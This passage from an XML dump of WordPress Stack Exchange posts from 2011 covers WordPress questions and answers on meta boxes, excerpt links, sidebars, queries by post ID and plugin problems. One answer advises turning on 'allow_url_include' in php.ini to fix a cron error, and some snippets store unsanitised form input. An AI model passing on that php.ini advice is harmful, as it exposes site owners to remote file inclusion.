'' ) . ' /&amp;gt;' . $option['name'];&#xA;              }&#xA;              break;&#xA;          case 'checkbox':&#xA;              echo '&amp;lt;input type=&quot;checkbox&quot; name=&quot;' . $field['id'] . '&quot; id=&quot;' . $field['id'] . '&quot;' . ( $meta ? ' checked=&quot;checked&quot;' : '' ) . ' /&amp;gt;';&#xA;              break;&#xA;      }&#xA;      echo     '&amp;lt;td&amp;gt;'.'&amp;lt;/tr&amp;gt;';&#xA;  }&#xA;&#xA;  echo '&amp;lt;/table&amp;gt;';&#xA;&#xA;}&#xA;// Save data from meta box&#xA;function plib_save_data($post_id) {&#xA;    global $meta_box,  $post;&#xA;&#xA;    //Verify&#xA;    if (!wp_verify_nonce($_POST['plib_meta_box_nonce'], basename(__FILE__))) {&#xA;        return $post_id;&#xA;    }&#xA;&#xA;    //Check &amp;gt; autosave&#xA;    if (defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE) {&#xA;        return $post_id;&#xA;    }&#xA;&#xA;    //Check &amp;gt; permissions&#xA;    if ('page' == $_POST['post_type']) {&#xA;        if (!current_user_can('edit_page', $post_id)) {&#xA;            return $post_id;&#xA;        }&#xA;    } elseif (!current_user_can('edit_post', $post_id)) {&#xA;        return $post_id;&#xA;    }&#xA;&#xA;    foreach ($meta_box[$post-&amp;gt;post_type]['fields'] as $field) {&#xA;        $old = get_post_meta($post_id, $field['id'], true);&#xA;        $new = $_POST[$field['id']];&#xA;&#xA;        if ($new &amp;amp;&amp;amp; $new != $old) {&#xA;            update_post_meta($post_id, $field['id'], $new);&#xA;        } elseif ('' == $new &amp;amp;&amp;amp; $old) {&#xA;            delete_post_meta($post_id, $field['id'], $old);&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;add_action('save_post', 'plib_save_data');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6423" LastActivityDate="2011-06-25T21:42:00.287" Title="How to construct multiple meta boxes" Tags="&lt;custom-field&gt;&lt;metabox&gt;" AnswerCount="2" />
  <row Id="21049" PostTypeId="1" AcceptedAnswerId="21054" CreationDate="2011-06-25T20:41:59.333" Score="0" ViewCount="151" Body="&lt;p&gt;The following functions.php edit (contributed by helgatheviking on the themeshaper forums) allows the use of a &quot;Read More&quot; link with custom excerpts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is simply this: I'm inept at editing functions.php code, but I'd like to safely remove the &quot;wrap excerpt in p tag&quot; portion of this script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I do so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original script is found here:&#xA;&lt;a href=&quot;http://themeshaper.com/forums/topic/enclosing-excerpt-in-paragraph-tag-038-adding-a-custom-read-more-link&quot; rel=&quot;nofollow&quot;&gt;http://themeshaper.com/forums/topic/enclosing-excerpt-in-paragraph-tag-038-adding-a-custom-read-more-link&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// excerpt read more links and wrap excerpt in p tag&#xA;function all_excerpts_get_more_link($post_excerpt) {&#xA;    return '&amp;lt;p&amp;gt;' . $post_excerpt . '&amp;lt;/p&amp;gt;' . '&amp;lt;p class=&quot;readmore&quot;&amp;gt;&amp;lt;a href=&quot;'. get_permalink($post-&amp;gt;ID) . '&quot;&amp;gt;' . 'Continue Reading &amp;amp;raquo' . '&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;';&#xA;}&#xA;add_filter('wp_trim_excerpt', 'all_excerpts_get_more_link');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2011-06-25T21:27:42.040" Title="Using &quot;Read More&quot; link with custom excerpt" Tags="&lt;functions&gt;&lt;excerpt&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="21050" PostTypeId="1" CreationDate="2011-06-25T20:42:05.107" Score="1" ViewCount="80" Body="&lt;p&gt;Maybe this is super obvious and staring me in the face, but I'm stumped. Is there a way to pull and sort posts by ID? I'd like to grab an arbitrary post, and then x number of posts after it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically what I'm trying to do is a build a carousel of posts, and I'd like the first item on every individual post to be the current post, and then everything following it. I'd also like to be able to scroll the carousel backwards. I'm using the &lt;a href=&quot;http://wordpress.org/extend/plugins/json-api/&quot; rel=&quot;nofollow&quot;&gt;JSON API plugin&lt;/a&gt; to make AJAX calls to pull the posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I just want to add a &quot;WHERE post.id &gt;= currentPost&quot; to the query, but I can't figure out where to implement this. I tried using the posts_where hook but I always get zero results. &lt;/p&gt;&#xA;" OwnerUserId="6373" LastActivityDate="2011-08-28T15:36:11.970" Title="Get post and all posts after it by ID?" Tags="&lt;query-posts&gt;&lt;ajax&gt;" AnswerCount="2" />
  <row Id="21051" PostTypeId="2" ParentId="21048" CreationDate="2011-06-25T20:49:16.097" Score="1" ViewCount="" Body="&lt;p&gt;Personally, I use &lt;a href=&quot;http://www.deluxeblogtips.com/p/meta-box-script-for-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;this class&lt;/a&gt;. The implementation is extremely simple&lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-25T20:49:16.097" CommentCount="1" />
  <row Id="21052" PostTypeId="1" AcceptedAnswerId="21060" CreationDate="2011-06-25T21:05:11.817" Score="1" ViewCount="45" Body="&lt;p&gt;I've tried and installed loads of free WP plugins that can't do what I would like them to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I write a fictional news blog and I'd like to be able to display about a dozen or so adverts that I've made myself. They are each going to be 250x250px and need to be in the sidebar of my site. I figured it would be easier if it was in a widget. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not using a external service like Adsense. It's not necessary that my adverts keep record of impressions and they don't have a hyperlink. &lt;/p&gt;&#xA;" OwnerUserId="3249" LastActivityDate="2011-06-26T05:27:35.513" Title="I'm trying to find a basic plugin for displaying images in a widget" Tags="&lt;widgets&gt;&lt;plugin-recommendation&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="21053" PostTypeId="2" ParentId="17786" CreationDate="2011-06-25T21:15:58.393" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;editor_selector&lt;/code&gt; is for targeting classes, not ids.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when using &lt;code&gt;editor_selector&lt;/code&gt;, it is required to set &lt;code&gt;mode: &quot;specific_textareas&quot;&lt;/code&gt; in order for it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://tinymce.moxiecode.com/wiki.php/Configuration:editor_selector&quot; rel=&quot;nofollow&quot;&gt;http://tinymce.moxiecode.com/wiki.php/Configuration:editor_selector&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your JavaScript and HTML should look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function(){&#xA;tinyMCE.init({&#xA;        mode : &quot;specific_textareas&quot;,&#xA;        theme : &quot;simple&quot;, &#xA;        /*plugins : &quot;autolink, lists, spellchecker, style, layer, table, advhr, advimage, advlink, emotions, iespell, inlinepopups, insertdatetime, preview, media, searchreplace, print, contextmenu, paste, directionality, fullscreen, noneditable, visualchars, nonbreaking, xhtmlxtras, template&quot;,*/&#xA;        editor_selector :&quot;tinymce-enabled&quot;&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;textarea rows=&quot;8&quot; cols=&quot;40&quot; name=&quot;description&quot; id=&quot;editor&quot; class=&quot;tinymce-enabled required&quot;&amp;gt;&amp;lt;?php echo $description;?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2637" LastActivityDate="2011-06-25T21:15:58.393" />
  <row Id="21054" PostTypeId="2" ParentId="21049" CreationDate="2011-06-25T21:24:30.560" Score="1" ViewCount="" Body="&lt;p&gt;This should remove the &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags, but leave the styling by replacing the paragraph tag with a &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt; class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function all_excerpts_get_more_link($post_excerpt) {&#xA;    return '' . $post_excerpt . '' . '&amp;lt;span class=&quot;readmore&quot;&amp;gt;&amp;lt;a href=&quot;'. get_permalink($post-&amp;gt;ID) . '&quot;&amp;gt;' . 'Continue Reading &amp;amp;raquo' . '&amp;lt;/span&amp;gt;';&#xA;}&#xA;add_filter('wp_trim_excerpt', 'all_excerpts_get_more_link');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-06-25T21:24:30.560" CommentCount="1" />
  <row Id="21055" PostTypeId="2" ParentId="21049" CreationDate="2011-06-25T21:27:42.040" Score="0" ViewCount="" Body="&lt;p&gt;Delete the empty &lt;code&gt;''&lt;/code&gt; it makes no sense on leaving them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function all_excerpts_get_more_link($post_excerpt) {&#xA;    return $post_excerpt . '&amp;lt;span class=&quot;readmore&quot;&amp;gt;&amp;lt;a href=&quot;'. get_permalink($post-&amp;gt;ID) . '&quot;&amp;gt;' . 'Continue Reading &amp;amp;raquo' . '&amp;lt;/span&amp;gt;';&#xA;}&#xA;add_filter('wp_trim_excerpt', 'all_excerpts_get_more_link');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-06-25T21:27:42.040" CommentCount="1" />
  <row Id="21056" PostTypeId="2" ParentId="21048" CreationDate="2011-06-25T21:42:00.287" Score="0" ViewCount="" Body="&lt;p&gt;You can create as many metaboxes as you want.  Use a function to create them then hook into init.  The first line should be  &lt;code&gt;$meta_boxes = array();&lt;/code&gt; then start each new metabox with &lt;code&gt;$meta_boxes[] = array(&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'prefix_create_metaboxes' );&#xA;function prefix_create_metaboxes() {&#xA;&#xA;$meta_boxes = array();&#xA;$meta_boxes[] = array(&#xA;    'id' =&amp;gt; 'venue_location',  &#xA;    'title' =&amp;gt; 'Venue/Location',&#xA;    'pages' =&amp;gt; array('post'), // post type&#xA;    'context' =&amp;gt; 'normal',&#xA;    'priority' =&amp;gt; 'high',&#xA;     array(&#xA;        'name' =&amp;gt; 'Venue',&#xA;        'desc' =&amp;gt; 'Venue Name',&#xA;        'id' =&amp;gt; 'venue_info',&#xA;        'type' =&amp;gt; 'text',&#xA;        'default' =&amp;gt; ''&#xA;    ),&#xA;    array(&#xA;        'name' =&amp;gt; 'Location',&#xA;        'desc' =&amp;gt; 'Location of the Venue',&#xA;        'id' =&amp;gt; 'location_info',&#xA;        'type' =&amp;gt; 'text',&#xA;        'default' =&amp;gt; ''&#xA;    ),&#xA;)&#xA;);&#xA;$meta_boxes[] = array(&#xA;    'id' =&amp;gt; 'another_meta_box',&#xA;    'title' =&amp;gt; 'Another Meta Box Title',&#xA;    'pages' =&amp;gt; array( 'post' ), // post type&#xA;    'context' =&amp;gt; 'side',&#xA;    'priority' =&amp;gt; 'low',&#xA;    'show_names' =&amp;gt; true, &#xA;    'fields' =&amp;gt; array(&#xA;    array(&#xA;        'name' =&amp;gt; 'Field Name',&#xA;        'desc' =&amp;gt; 'Field Desc.',&#xA;        'id' =&amp;gt; 'field_id',&#xA;        'type' =&amp;gt; 'text'&#xA;    ),&#xA;    )&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-06-25T21:42:00.287" />
  <row Id="21057" PostTypeId="2" ParentId="20506" CreationDate="2011-06-25T21:44:24.700" Score="3" ViewCount="" Body="&lt;p&gt;Since I decided this would actually be pretty damn useful for myself too, I pushed on and wrote a custom walker, &lt;a href=&quot;http://pastebin.com/nS9vJCVm&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Walker_Paged_Threaded&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to comment to the best of my ability, and admittedly it's a little thrown together, but I'm happy with the result.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How To Use It&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The class is written with the same abstract approach as the original &lt;code&gt;Walker&lt;/code&gt;, so as not to limit it to just comments. However, to keep things simple, we'll &lt;strong&gt;rename it*&lt;/strong&gt;;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Walker_Comment_Paged_Threaded extends Walker_Comment&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now in your theme's &lt;code&gt;comments.php&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_list_comments( array( 'walker' =&amp;gt; new Walker_Comment_Paged_Threaded ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Wahey! Paged comments that account for threading.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Known Side Affects&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Since we've changed the way pages are calculated, functions like &lt;code&gt;get_comment_pages_count&lt;/code&gt; will start to behave abnormally when passed parameters like &lt;code&gt;$per_page&lt;/code&gt; or &lt;code&gt;$threaded&lt;/code&gt;. Out-of-the-box though, this is not the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;However&lt;/strong&gt;, &lt;code&gt;get_comment_pages_count&lt;/code&gt; will still fallback on &lt;code&gt;Walker_Comment&lt;/code&gt; if &lt;code&gt;$wp_query::max_num_comment_pages&lt;/code&gt; is empty. But providing you call &lt;code&gt;wp_list_comments&lt;/code&gt; first, it'll run the walker and set the property automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you are displaying comment pagination or page links &lt;em&gt;before&lt;/em&gt; your comments&lt;/strong&gt;, you'll need to do something like so;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * Capture comments in an output buffer. The function needs to run before&#xA; * displaying page links, as it runs the walker and then sets the&#xA; * 'max_num_comment_pages' property on $wp_query.&#xA; */&#xA;ob_start();&#xA;&#xA;wp_list_comments( array( 'walker' =&amp;gt; new Walker_Comment_Paged_Threaded ) );&#xA;$comments_list = ob_get_clean();&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php paginate_comments_links(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php echo $comments_list; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is actually the neatest way to get around it, trust me!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*If you want to keep it abstract, without multiple copies for each intent, you could fake 'multiple inheritance', which &lt;a href=&quot;http://stackoverflow.com/questions/356128/can-i-extend-a-class-using-more-than-1-class-in-php/356431#356431&quot;&gt;is a little ugly&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;N.B.&lt;/strong&gt; I thought best to add this as a separate answer, as it's &lt;em&gt;actually&lt;/em&gt; an answer!&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-25T21:44:24.700" CommentCount="1" />
  <row Id="21059" PostTypeId="2" ParentId="21011" CreationDate="2011-06-25T22:24:43.493" Score="2" ViewCount="" Body="&lt;p&gt;Just replace &lt;code&gt;'order' =&amp;gt; 'DESC'&lt;/code&gt; with &lt;code&gt;'order' =&amp;gt; 'ASC'&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-06-25T22:24:43.493" CommentCount="1" />
  <row Id="21060" PostTypeId="2" ParentId="21052" CreationDate="2011-06-25T22:32:00.887" Score="1" ViewCount="" Body="&lt;p&gt;Create a new folder in your WP directory called 'Adverts' Upload all your banner images to this folder as well as a &lt;a href=&quot;http://www.alistapart.com/articles/randomizer/&quot; rel=&quot;nofollow&quot;&gt;PHP image randomising script&lt;/a&gt; I had found with a quick Google search. Place a text widget in your sidebar and add a html img tag linking directly to PHP file.&lt;/p&gt;&#xA;" OwnerUserId="3249" LastActivityDate="2011-06-25T22:32:00.887" />
  <row Id="21061" PostTypeId="1" CreationDate="2011-06-25T23:01:11.043" Score="1" ViewCount="55" Body="&lt;p&gt;I have an issue with text in my posts. The site is &lt;a href=&quot;http://2buntu.com&quot; rel=&quot;nofollow&quot;&gt;http://2buntu.com&lt;/a&gt;.&lt;br&gt;&#xA;As I don't own the server, I cannot get direct access to some things. I don't know what caused it but I think it was a plugin I activated. Since then I've tried deactivating plugins, but nothing worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tracked the source of the problem with the help of a friend, now I need to find a way to fix it (if that is even possible on my end).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;MYSQL query returned error executing&#xA;  query &quot;SELECT term_taxonomy_id FROM&#xA;  wp_term_relationships_img AS img WHERE&#xA;  img.object_id = ORDER by&#xA;  term_taxonomy_id&quot; : =&gt; You have an&#xA;  error in your SQL syntax; check the&#xA;  manual that corresponds to your MySQL&#xA;  server version for the right syntax to&#xA;  use near 'ORDER by term_taxonomy_id'&#xA;  at line 1&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That is the error we get. The problem was with an image tagger plugin. I removed the plugin but wordpress is still giving trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I forgot to mention, the posts are not wiped; I can edit them, etc. They just render as blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;br&gt;&#xA;Site is still not working. I deleted the offending plugin and the table it was using, but it seems post are still not having their content rendered :(. Please! I need help!!!&lt;/p&gt;&#xA;" OwnerUserId="1655" LastEditorUserId="1655" LastEditorDisplayName="" LastEditDate="2011-06-26T04:06:13.707" LastActivityDate="2011-06-26T13:30:02.610" Title="All text disappeared (seems to be a database problem)" Tags="&lt;database&gt;&lt;text&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="21062" PostTypeId="1" CreationDate="2011-06-26T00:56:41.053" Score="0" ViewCount="32" Body="&lt;p&gt;I'm using All in One seo and for the Post Title Format option I have it as: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;%post_title% kewyord1 keyword2 etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;keyword1, keyword2 being my chosen keywords for my site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in Permalinks, I have it as /%postname%/ so that the post name shows up in the shortlink/url&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So with these configurations, if I make a post in with 'Books' in the title it will look like this: Books keyword1 keyword2 etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the shortlink, or the actual url of that post would look like this: www.mydomain.com/books&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it doesnt contain the keywords I assigned in All in SEO&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried changing the Permalink to /%post_title%/ but that didnt do anything&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how i can automatically get these keywords to show up in the shortlink automatically with having to manually do it?&lt;/p&gt;&#xA;" OwnerUserId="6133" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-26T09:26:44.897" LastActivityDate="2011-07-26T09:26:44.897" Title="All in One Seo / Permalinks question" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;plugin-all-in-one-seo&gt;" AnswerCount="1" />
  <row Id="21063" PostTypeId="2" ParentId="2213" CreationDate="2011-06-26T01:06:29.940" Score="0" ViewCount="" Body="&lt;p&gt;So many settings to tweak ... really daunting.&#xA;Until now I used DB Cache Reloaded + Hyper Cache ... and got similar benchmarking results.&#xA;But I have to confess that, after testing this plugin with all these all in one features I am almost tempted to switch to using it from now on.&#xA;The features I am mostly after are the CSS/JS combination and text compression which I cannot seem to get with the combo used until now. These 2 seem to get me requests about 15% lower too. Quite tempting.&lt;/p&gt;&#xA;" OwnerUserId="6504" LastActivityDate="2011-06-26T01:06:29.940" />
  <row Id="21064" PostTypeId="2" ParentId="16166" CreationDate="2011-06-26T01:27:40.120" Score="0" ViewCount="" Body="&lt;p&gt;I fixed the wp_cron error by editing php.ini in my php installation.  Make sure you have &lt;strong&gt;allow_url_fopen = On&lt;/strong&gt; and &lt;strong&gt;allow_url_include = On&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="6505" LastActivityDate="2011-06-26T01:27:40.120" CommentCount="1" />
  <row Id="21065" PostTypeId="1" CreationDate="2011-06-26T01:39:24.663" Score="0" ViewCount="35" Body="&lt;p&gt;Videopress doesn't work for me when I drag multiple pages into a template e.g. pulling them in by their path name...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$page = get_page_by_path('Showreels/Excerpts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I can paste a videopress link directly into the php since the shortcode doesn't seem to work?&lt;/p&gt;&#xA;" OwnerUserId="6374" LastActivityDate="2011-08-25T16:34:43.773" Title="Videopress Short Tags not working when pulling page into template" Tags="&lt;page-template&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="21066" PostTypeId="2" ParentId="21061" CreationDate="2011-06-26T01:47:00.950" Score="1" ViewCount="" Body="&lt;p&gt;If you are unable to retrieve the posts through the Database so you can check the tables, try doing a Google Search for the posts. Type the page URL into the Google Search and look for a cached version. This is definitely not the optimal way to recover the posts, but will work in a worst case scenario.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-06-26T01:47:00.950" CommentCount="3" />
  <row Id="21067" PostTypeId="1" CreationDate="2011-06-26T02:46:43.637" Score="0" ViewCount="57" Body="&lt;p&gt;I recently installed WordPress and have been slowly learning how to use it. I've tried to solve this one problem for about an hour now, and I can't seem to find the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter what feed I add to &lt;code&gt;FeedWordPress&lt;/code&gt;, it just doesn't parse the images correctly. (But it does, see here): &lt;a href=&quot;http://ttgdark.com/&quot; rel=&quot;nofollow&quot;&gt;http://ttgdark.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's like it's completely remove the path to the image in the src tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what's going on?&lt;/p&gt;&#xA;" OwnerUserId="6506" LastActivityDate="2011-06-26T02:46:43.637" Title="FeedWordPress not parsing images properly" Tags="&lt;rss&gt;&lt;wordpress.com&gt;&lt;feed&gt;&lt;wordpress.org&gt;&lt;feedwordpress&gt;" />
  <row Id="21068" PostTypeId="1" AcceptedAnswerId="21082" CreationDate="2011-06-26T04:54:24.780" Score="0" ViewCount="74" Body="&lt;p&gt;I'm trying to build some sort of a discussion boards by using custom post types and the built in comments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The structure is as following: &#xA;An archive page to list all the pages of the Forum type, so each page is a &quot;forum&quot;&#xA;Each &quot;forum&quot; has a title , a small description and then some threaded comments as threads with replies&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I'm at the right direction here, but I have a couple of question and maybe some one could assist me with them:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it possible to have user to be associated with specific pages? &#xA;&lt;strong&gt;Example:&lt;/strong&gt; I'd like user A, B, C to be able to view &quot;Forum&quot; (page) 1;&#xA;user D, E, F -&gt; &quot;Forum&quot; (page) 2;&#xA;etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it possible to have users to be redirected on sign up to their profile page, but disable all other menus in the admin area for them?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it possible to allow some users to be able to moderate comments only but not to see the other options on the site?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any help would be great.&lt;/p&gt;&#xA;" OwnerUserId="6155" LastActivityDate="2011-06-26T11:03:25.197" Title="Building Forums with Custom Post Types" Tags="&lt;custom-post-types&gt;&lt;user-roles&gt;&lt;user-access&gt;&lt;forum&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="21069" PostTypeId="1" CreationDate="2011-06-26T04:54:37.620" Score="0" ViewCount="47" Body="&lt;p&gt;I am just a newbie in wordpress.I want the colour of the sidebar widget will be different in different pages. As the id and class are both same in every pages don't know how to change that.Is there any solution of it?Any help will be highly appriciable...&lt;/p&gt;&#xA;" OwnerUserId="6170" LastActivityDate="2011-07-26T11:30:20.123" Title="changing the style of sidebar" Tags="&lt;widgets&gt;&lt;sidebar&gt;" AnswerCount="1" />
  <row Id="21070" PostTypeId="1" AcceptedAnswerId="21071" CreationDate="2011-06-26T05:05:58.503" Score="0" ViewCount="30" Body="&lt;p&gt;I am using twentyten theme and I want there will be two sidebar in my page like one will be on left and the second one will be on right.So can any one tell me how to do that?Any help will be highly appreciable&lt;/p&gt;&#xA;" OwnerUserId="6170" LastActivityDate="2011-06-26T05:17:10.683" Title="adding multiple sidebars on pages" Tags="&lt;widgets&gt;&lt;sidebar&gt;&lt;register-sidebar&gt;" AnswerCount="1" />
  <row Id="21071" PostTypeId="2" ParentId="21070" CreationDate="2011-06-26T05:17:10.683" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://aaron.jorb.in/thirtyten/&quot; rel=&quot;nofollow&quot;&gt;Thirty Ten&lt;/a&gt; is a child theme of Twenty Ten and could be excellent for you as it comes with 3 columns as you want.&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-06-26T05:17:10.683" CommentCount="2" />
  <row Id="21072" PostTypeId="2" ParentId="21062" CreationDate="2011-06-26T05:25:44.577" Score="1" ViewCount="" Body="&lt;p&gt;Just &lt;a href=&quot;http://en.support.wordpress.com/posts/post-title-url/&quot; rel=&quot;nofollow&quot;&gt;change your post slug&lt;/a&gt; to &lt;code&gt;books-keyword1-keyword2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://support.files.wordpress.com/2008/12/post-title-edit1.jpg?w=480&amp;amp;h=66&quot; alt=&quot;Edit post slug&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-26T05:25:44.577" />
  <row Id="21073" PostTypeId="2" ParentId="21052" CreationDate="2011-06-26T05:27:35.513" Score="0" ViewCount="" Body="&lt;p&gt;This is (sort of shamefully) promoting my own plugin, but you could use my &lt;a href=&quot;http://wordpress.org/extend/plugins/really-simple-gallery-widget/&quot; rel=&quot;nofollow&quot;&gt;Really Simple Gallery Widget&lt;/a&gt;, which can show a specified number of images attached to a post/page in a random order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you would upload your adverts while editing a page or post so that they are attached to it or attach them in the Media Library if they are already uploaded, and then set up the widget accordingly. You can even upload the adverts to an existing page or post that won't have any other media so you don't have an empty entry just for the advert uploads. So long as you don't insert them into the content, they shouldn't show unless your theme does something with attached images.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-06-26T05:27:35.513" />
  <row Id="21074" PostTypeId="2" ParentId="21050" CreationDate="2011-06-26T05:28:36.993" Score="1" ViewCount="" Body="&lt;p&gt;I think you're on the right path with &lt;code&gt;posts_where&lt;/code&gt;, something like this should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function my_filter_where($where){&#xA;    global $my_current_id;&#xA;    $where .= &quot; AND ID &amp;gt;= &quot;.$my_current_id;&#xA;    return $where;&#xA;}&#xA;&#xA;// random number I chose for sake of example&#xA;$my_current_id = 30;&#xA;&#xA;add_filter('posts_where', 'my_filter_where');&#xA;&#xA;$my_posts = new WP_Query(&quot;posts_per_page=5&amp;amp;orderby=ID&amp;amp;order=ASC&quot;);&#xA;&#xA;remove_filter('posts_where', 'my_filter_where');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-26T05:28:36.993" />
  <row Id="21075" PostTypeId="2" ParentId="21041" CreationDate="2011-06-26T05:39:49.280" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wpsc_the_product_title&lt;/code&gt; &lt;a href=&quot;http://supersonic.lt/wpec/wpsc-includes/product-template.php.source.html#l667&quot; rel=&quot;nofollow&quot;&gt;is just a wrapper&lt;/a&gt; for &lt;code&gt;get_the_title&lt;/code&gt;, and it &lt;strong&gt;doesn't take any arguments&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Call &lt;code&gt;setup_postdata( $item['prodid'] )&lt;/code&gt; at the start of your &lt;code&gt;foreach&lt;/code&gt; loop, and then the function should perform as expected.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-26T05:39:49.280" CommentCount="1" />
